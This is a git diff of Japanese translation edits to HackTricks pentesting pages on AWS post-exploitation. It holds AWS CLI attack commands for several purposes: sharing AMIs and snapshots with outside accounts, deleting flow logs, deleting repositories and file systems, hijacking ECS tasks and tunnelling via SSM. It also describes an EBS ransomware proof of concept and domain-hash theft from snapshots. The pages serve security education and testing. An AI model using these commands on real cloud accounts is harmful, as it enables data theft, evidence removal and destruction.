+これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
 
 1. DynamoDBテーブルでストリームを有効にする:
 ```bash
@@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します:
+4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します：
 ```bash
 bashCopy codeaws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。
+**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -1,4 +1,4 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM & VPC ポストエクスプロイテーション
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@
 
 ### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、受信および送信トラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム（IDS）などに送信され、分析および監視されます。\
+VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、インバウンドおよびアウトバウンドトラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム（IDS）などに送信され、分析および監視されます。\
 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます：
 
 詳細については、このページを確認してください：
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
 
 ### 実行中のインスタンスのコピー
 
-インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格のトリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**：
+インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**：
 ```shell
 # List instances
 aws ec2 describe-images
@@ -56,7 +56,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
-### データ流出
+### データの流出
 
 #### DNS流出
 
@@ -64,7 +64,7 @@ EC2をロックダウンしてトラフィックが外に出られないよう
 
 - **VPCフローログはこれを記録しません**。
 - AWS DNSログへのアクセスはありません。
-- 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします：
+- 次のコマンドで "enableDnsSupport" を false に設定することで無効にします：
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
@@ -79,13 +79,13 @@ EC2をロックダウンしてトラフィックが外に出られないよう
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc to ECS
+### ECSへの権限昇格
 
-EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。
+EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。
 
 For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### VPCフローログの削除
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
@@ -95,27 +95,27 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 
 - `ssm:StartSession`
 
-コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。これが有用なシナリオの一つは、[バスティオンホスト](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
+コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
 
 > セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. マシンにSessionManagerPluginをインストールします
-2. 次のコマンドを使用してバスティオンEC2にログインします:
+2. 次のコマンドを使用してBastion EC2にログインします:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. [AWS EC2環境におけるSSRFの悪用](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)スクリプトを使用してBastion EC2 AWSの一時的な資格情報を取得します  
-4. 資格情報を自分のマシンの`$HOME/.aws/credentials`ファイルに`[bastion-ec2]`プロファイルとして転送します  
-5. Bastion EC2としてEKSにログインします:
+3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します
+4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します
+5. Bastion EC2 として EKS にログインします:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. `$HOME/.kube/config`ファイルの`server`フィールドを`https://localhost`に更新します  
+6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` にポイントするように更新します  
 7. 次のようにSSMトンネルを作成します:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます:
+8. `kubectl` ツールからのトラフィックは、Bastion EC2 を介して SSM トンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
@@ -123,23 +123,23 @@ SSL接続は、`--insecure-skip-tls-verify`フラグ（またはK8s監査ツー
 
 最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。
 
-### AMIを共有する
+### Share AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### 公共およびプライベートAMI内の機密情報を検索する
+### 公共およびプライベート AMI での機密情報の検索
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovelは、**公共またはプライベートのAmazon Machine Images (AMIs)内の機密情報を検索するために設計されたツール**です。ターゲットAMIからインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
 
-### EBSスナップショットを共有する
+### EBS スナップショットの共有
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのがどれほど簡単であるかを考えると、Ransomware Management Service（RMS）に名前を変更すべきです。
+S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが非常に簡単であることから、Ransomware Management Service（RMS）に改名されるべきです。
 
-まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは、悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
+まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
 ```
 {
 "Version": "2012-10-17",
@@ -239,13 +239,13 @@ S3のポストエクスプロイテーションノートで示されたランサ
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-公開アクセス可能なキーを使用できるようになりました。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。
+次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高特権の AWS アカウントが侵害されていると仮定しています。
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのスナップショットを使用してコピーを作成し、「攻撃者」アカウントから公開されているキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。
+これにより、アカウントに残るのは暗号化された EBS ボリュームのみになります。
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
@@ -324,15 +324,15 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
 ]
 }
 ```
-少々お待ちください。新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。
+新しく設定されたキー ポリシーが伝播するのを少し待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
+しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキーを使用して復号化できないため、キー ポリシーがもはやそれを許可しないからです。
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
+これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最終的にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
 ```
 import boto3
 import argparse

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md

@@ -32,7 +32,7 @@ make docker/build
 IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
 ```
 > [!CAUTION]
-> **注意** `dsnap` は公開スナップショットをダウンロードすることを許可しません。これを回避するために、スナップショットをあなたの個人アカウントにコピーし、それをダウンロードすることができます:
+> **注意** `dsnap` は公開スナップショットのダウンロードを許可しません。これを回避するには、スナップショットを自分のアカウントにコピーし、それをダウンロードできます：
 ```bash
 # Copy the snapshot
 aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -46,11 +46,11 @@ dsnap --region us-east-2 get snap-027da41be451109da
 # Delete the snapshot after downloading
 aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
 ```
-この技術の詳細については、[https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)の元の研究を確認してください。
+この技術に関する詳細は、元の研究を参照してください [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
 
-Pacuを使用して、モジュール[ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)でこれを行うことができます。
+この操作は、モジュール [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) を使用してPacuで実行できます。
 
-## AWSでスナップショットを確認する
+## AWSでのスナップショットの確認
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
 ```
@@ -85,7 +85,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snaps
 
 ステップ8：コマンド`sudo mount /dev/xvdf /newvolume/`を使用して、ボリュームを「newvolume」ディレクトリにマウントします。
 
-ステップ9：「newvolume」ディレクトリに移動し、ディスクスペースを確認してボリュームマウントを検証します。
+ステップ9：「newvolume」ディレクトリにディレクトリを変更し、ボリュームマウントを検証するためにディスクスペースを確認します。
 
 このアクションを実行するには、次のコマンドを使用します：
 
@@ -94,7 +94,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snaps
 
 これをPacuを使用して、モジュール`ebs__explore_snapshots`で行うことができます。
 
-## AWSでスナップショットを確認する（cliを使用）
+## AWSでのスナップショットの確認（cliを使用）
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
 
@@ -120,13 +120,13 @@ sudo mount /dev/xvdh1 /mnt
 
 ls /mnt
 ```
-## Shadow Copy
+## シャドウコピー
 
-任意のAWSユーザーが**`EC2:CreateSnapshot`**権限を持っている場合、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために**NTDS.ditとSYSTEM**レジストリハイブファイルを**エクスポート**します。
+**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために、**NTDS.ditおよびSYSTEM** レジストリハイブファイルをエクスポートします。
 
-このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術の1つを使用することもできます。
+このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術の1つを使用することもできます。
 
-## References
+## 参考文献
 
 - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md

@@ -1,15 +1,15 @@
-# AWS - Malicious VPC Mirror
+# AWS - 悪意のある VPC ミラー
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**詳細については** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **を確認してください！**
 
-クラウド環境におけるパッシブネットワーク検査は**困難**であり、ネットワークトラフィックを監視するためには大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム（IDS）に送信されて**分析**されることができます。
+クラウド環境における受動的ネットワーク検査は**困難**であり、ネットワークトラフィックを監視するために大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム（IDS）に送信されて**分析**されることができます。
 
-VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに応えるために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。
+VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに対応するために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。
 
 悪意のあるVPCトラフィックミラーリングの**影響**は重大であり、攻撃者がVPC内で送信される**機密情報**にアクセスできるようになります。このような悪意のあるミラーリングの**可能性**は高く、VPC内を流れる**平文トラフィック**の存在を考慮すると、特にそうです。多くの企業は、**パフォーマンスの理由**から内部ネットワーク内で平文プロトコルを使用しており、従来の中間者攻撃が不可能であると仮定しています。
 
-詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化するため、攻撃的研究目的において**迅速、簡単、かつ繰り返し可能**です。
+詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化し、攻撃的研究目的のために**迅速、簡単、かつ繰り返し可能**にします。
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-ダウンロードした画像は、**機密情報を確認する必要があります**：
+画像をダウンロードした後は、**機密情報を確認する**必要があります：
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
 
-これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、次に** **ECRリポジトリ全体を削除する**ことができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
+これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更**し、その後**ECRリポジトリ全体を削除**することができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
 ```bash
 bashCopy code# Create a JSON file with the malicious lifecycle policy
 echo '{

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -12,33 +12,33 @@
 
 ### ホスト IAM ロール
 
-ECS では、**IAM ロールをコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\
-つまり、ECS インスタンスを**侵害**することに成功すれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、以下を確認してください：
+ECS では、**IAM ロールがコンテナ内で実行されているタスクに割り当てられる**ことがあります。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\
+つまり、ECS インスタンスを**侵害**することができれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する**可能性があります。これらの資格情報を取得する方法については、以下を確認してください：
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
 > [!CAUTION]
-> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**は**ホップ制限が 1**となり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**には**ホップ制限が 1**があり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることは不可能になります。
 
-### ノードへの特権昇格と他のコンテナの資格情報および秘密の盗難
+### ノードへの特権昇格と他のコンテナの資格情報と秘密の盗難
 
 さらに、EC2 は ECs タスクを実行するために Docker を使用しているため、ノードにエスケープするか、**Docker ソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与された IAM ロールを盗む**ことができます。
 
 #### 現在のホストでコンテナを実行する
 
-さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することができ、その後 ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、彼は**それらの IAM ロールを盗む**ことができ、コンテナ内の潜在的な機密情報を取得することができます。
+さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することで、ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、**IAM ロールを盗む**ことや、コンテナ内の潜在的な機密情報を**盗む**ことができます。
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-同じ技術は**クラスターからEC2インスタンスを登録解除することによって**行うことができます。これは潜在的にあまり隠密ではありませんが、**タスクを他のインスタンスで実行させることを強制します:**
+同じ技術は**クラスターからEC2インスタンスを登録解除する**ことによって行うことができます。これは潜在的にあまりステルス性がありませんが、**タスクを他のインスタンスで実行させることを強制します:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-タスクの再実行を強制するための最終的な技術は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります：
+タスクの再実行を強制するための最終的な手法は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります：
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -50,7 +50,7 @@ aws ecs submit-container-state-change ...
 # Needs: ecs:SubmitAttachmentStateChanges
 aws ecs submit-attachment-state-changes ...
 ```
-### ECRコンテナから機密情報を盗む
+### ECRコンテナからの機密情報の盗難
 
 EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます（その中に機密情報を探すことができます）。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -12,23 +12,23 @@
 
 ### `elasticfilesystem:DeleteMountTarget`
 
-攻撃者はマウントターゲットを削除することができ、アプリケーションやユーザーがそのマウントターゲットに依存している場合、EFSファイルシステムへのアクセスが中断される可能性があります。
+攻撃者はマウントターゲットを削除することができ、アプリケーションやそのマウントターゲットに依存するユーザーのEFSファイルシステムへのアクセスを妨げる可能性があります。
 ```sql
 aws efs delete-mount-target --mount-target-id <value>
 ```
-**潜在的な影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
+**潜在的影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
 
 ### `elasticfilesystem:DeleteFileSystem`
 
-攻撃者は、EFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
+攻撃者はEFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
 ```perl
 aws efs delete-file-system --file-system-id <value>
 ```
